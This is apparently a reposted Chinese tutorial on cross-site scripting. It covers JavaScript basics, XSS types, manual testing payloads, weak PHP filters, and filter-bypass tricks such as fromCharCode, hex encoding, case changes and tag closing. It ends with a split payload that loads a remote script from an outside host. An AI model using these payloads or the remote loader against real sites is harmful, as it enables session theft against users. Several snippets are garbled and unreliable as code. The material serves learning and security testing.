XSS跨站漏洞詳解

認識XSS:

XSS(cross-site script)跨站腳本自1996年誕生以來,一直被OWASP(open web application security project) 評為十大安全漏洞中的第二威脅漏洞。也有黑客把xss當做新型的「緩衝區溢出攻擊」,而JavaScript是新型的shellcode。

2011年6月份,國內最火的信息發布平台「新浪微博」爆發了xss蠕蟲攻擊,僅持續16分鐘,感染用戶近33000個,危害十分嚴重。

xss最大的特點就是能注入惡意的代碼到用戶瀏覽器的網頁上,從而達到劫持用戶會話的目的。

什麼是跨站腳本:

是一種經常出現在web應用程序中的計算機安全漏洞,是由於web應用程序對用戶的輸入過濾不嚴而產生的。攻擊者利用網站漏洞把惡意的腳本代碼注入到網頁中,當其他用戶瀏覽這些網頁時,就會執行其中的惡意代碼,對受害用戶可能採用cookie資料竊取,會話劫持,釣魚欺騙等攻擊手段

XSS腳本實例:

<html>

<head>xss test</head>

<body>

<script>alert("xss")</script>

</body>

</html>

這段代碼使用alert函數來執行打開一個消息框,消息框中顯示xss信息

使用xss彈出惡意警告框,代碼為:

<script>alert("xss")</script>

xss輸入也可能是html代碼段,如果使網頁不停的刷新,代碼為

<meta http-equiv="refresh" content="0;">

嵌入其他網站鏈接的代碼為:

<iframe src=http:/liuwx.cn width_=0 height=0></iframe>

XSS的危害:

1網路釣魚,包括盜取各類的用戶賬號

2竊取用戶cookie

竊取用戶瀏覽請回話

強制彈出廣告頁面、刷流量

網頁掛馬

提升用戶許可權,進一步滲透網站

傳播跨站腳本蠕蟲等

Javascript基礎知識:

JavaScript一種直譯式腳本語言,是一種動態類型、弱類型、基於原型的語言,內置支持類型。它的解釋器被稱為JavaScript引擎,為瀏覽器的一部分,廣泛用於客戶端的腳本語言,最早是在HTML(標準通用標記語言下的一個應用)網頁上使用,用來給HTML網頁增加動態功能。

在1995年時,由Netscape公司的Brendan Eich,在網景導航者瀏覽器上首次設計實現而成。因為Netscape與Sun合作,Netscape管理層希望它外觀看起來像Java,因此取名為JavaScript。但實際上它的語法風格與Self及Scheme較為接近。

為了取得技術優勢,微軟推出了JScript,CEnvi推出ScriptEase,與JavaScript同樣可在瀏覽器上運行。為了統一規格,因為JavaScript兼容於ECMA標準,因此也稱為ECMAScript。

document對象:

document是一個對象,從JS一開始就存在的一個對象,它代表當前的頁面(文檔)。

我們調用它的write()方法就能夠向該對象中寫入內容

既:document.write()

可以在html引用外部js代碼

<script src=x.js ></script>

js代碼中寫入

document.write(「hello cracer」);

JavaScript變數:

定義變數:

var 變數名;

var x;

var a=1;

var b=」hello cracer」;

var c=True;

var d=a+10;

JavaScript流程式控制制:

if -else控制語句

var a=20;

var b=10;

if(a>b){

alert(「a=20」);

}else{

alert(「b=10」);

}

switch控制語句:

var x=10

switch(x){

case 2:

alert(1);

break;

case 10:

alert(10);

break;

}

for循環:

<script>

for (var i=0;i<100;i++){

alert(1);

}

</script>

while循環:

<script>

var a=0;

while(a<100){

alert(1);

a++;

}

javascript函數:

function x(a,b){

var c= a+b;

return c;

}

var xx =x(1,2);

conseole.log(xx);

javascript 事件:

onclick屬性 點擊事件

function x(){

alert(/xss/)

}

<h1 onclick=」x()」>hello</h1>

事件:

XSS分類:

反射型XSS

DOM型xss

存儲型XSS

反射型XSS:

反射型跨站腳本也稱作非持久型、參數型跨站腳本、這類型的腳本是最常見的 ,也是使用最為廣泛的一種,主要用於將惡意的腳本附加到URL地址的參數中

例如

liuwx.cn/search.php?">

一般使用的將構造好的URL發給受害者,是受害者點擊觸發,而且只執行一次,非持久化。

DOM型XSS

存儲型XSS:

存儲型xss比反射型跨站腳本更具威脅性,並且可能影響到web伺服器的自身安全。

此類XSS不需要用戶點擊特定的URL就能執行跨站腳本,攻擊者事先講惡意JavaScript代碼上傳或存儲到漏洞伺服器中,只要受害者瀏覽包含此惡意的代碼的頁面就會執行惡意代碼。

火狐中常用的XSS調試插件:

Hackbar

Firebug

Tamper Data

Live HTTP Headers

Editor Cookie

XSS漏洞挖掘:

挖掘方法:

手工挖掘

工具挖掘

手工挖掘XSS漏洞:

我們得到一個站點

liuwx.cn/xss.php?

攻擊者會這樣進行XSS 測試,將如下payloads 分別添加到id=1:

可以測試用戶輸入地方、文件上傳地方、flash等

閉合標籤

<script>alert(1)</script>

"><script>alert(1)</script>

<img/src=@ onerror=alert(1)/>

"><img/src=@ onerror=alert(1)/>

手工挖掘xss漏洞:

onmouseover=alert(1) x=

" onmouseover=alert(1) x="

` onmouseover=alert(1) x=`

javascript:alert(1)//

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

";alert(1)//

</script><script>alert(1)//

}x:expression(alert(1))

alert(1)//

*/-->"></iframe></script></style></title></textarea></xmp></noscript></

noframes></plaintext><script>alert(1)</script>

工具挖掘XSS漏洞:

awvs

netsparke

appscan

burp

xsser

xsscrapy

brutexssr

OWASP Xenotix

常見的防xss代碼:

$x=preg_replace(「/script/」,」」,$x);

$x=preg_replace(「/script/i」,」」,$x);

$x=preg_replace(「/alert/i」,」」,$x);

$x=preg_replace(「/script/i」,」」,$x);

XSS繞過限制:

相信大家在做滲透測試的時候都有過這樣的經歷,明明一個XSS的漏洞,但是卻有XSS過濾規則或者WAF保護導致我們不能成功利用,比如我們輸入<scirpt>alert("hi")</script>,會被轉換為<script>alert(>xss detected<)</script>,這樣的話我們的XSS就不生效了。

幾種簡單的繞過XSS的方法:

1、繞過 magic_quotes_gpc

2、編碼 複雜的關鍵字過濾

3、改變大小寫 簡單的關鍵字過濾

4、關閉標籤

<script>alert(xss);</script>

繞過 magic_quotes_gpc:

magic_quotes_gpc=ON是php中的安全設置,開啟後會把一些特殊字元進行輪換,比如(單引號)轉換為,"(雙引號)轉換為" ,轉換為

比如:<script>alert("xss");</script>會轉換為<script>alert("xss");</script>,這樣我們的xss就不生效了。

針對開啟了magic_quotes_gpc的網站,我們可以通過javascript中的String.fromCharCode方法來繞過,我們可以把alert("XSS");轉換為

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)那麼我們的XSS語句就變成了

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>

String.fromCharCode()是javascript中的字元串方法,用來把ASCII轉換為字元串。

編碼:

我們可以對我們的語句進行hex編碼來繞過XSS規則。

比如:<script>alert("xss");</script> 可以轉換為:

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e

在線工具:

textmechanic.com/ASCII-

Free text conversion tools

<>== img src=1 onerror=alert(/xss/)>

<script>

var s = " >";

alert(s);

</script>

改變大小寫:

在測試過程中,我們可以改變測試語句的大小寫來繞過XSS規則

比如:<script>alert("xss");</script> 可以轉換為:

<ScRipt>ALeRt("XSS");</sCRipT>

閉合標籤:

有時我們需要關閉標籤來使我們的XSS生效,如:

"><script>alert("Hi");</script>

解決限制字元(要求同頁面):

<script>z=document.</script>

<script>z=z+write("</script>

<script>z=z+<script</script>

<script>z=z+ src=ht</script>

<script>z=z+tp://ww</script>

<script>z=z+w.shell</script>

<script>z=z+.net/1.</script>

<script>z=z+js></sc</script>

<script>z=z+ript>")</script>

<script>eval_r(z)</script>

文章來源:XSS跨站漏洞詳解


推薦閱讀:

如何構建自己的滲透測試環境
酷站推薦 - metasploit.com - Metasploit | penetration testing framework
phpcms_authkey泄露注入
《back track 5:從入門到精通》 入門筆記 之一

TAG:XSS | 反射型XSS | 渗透测试 |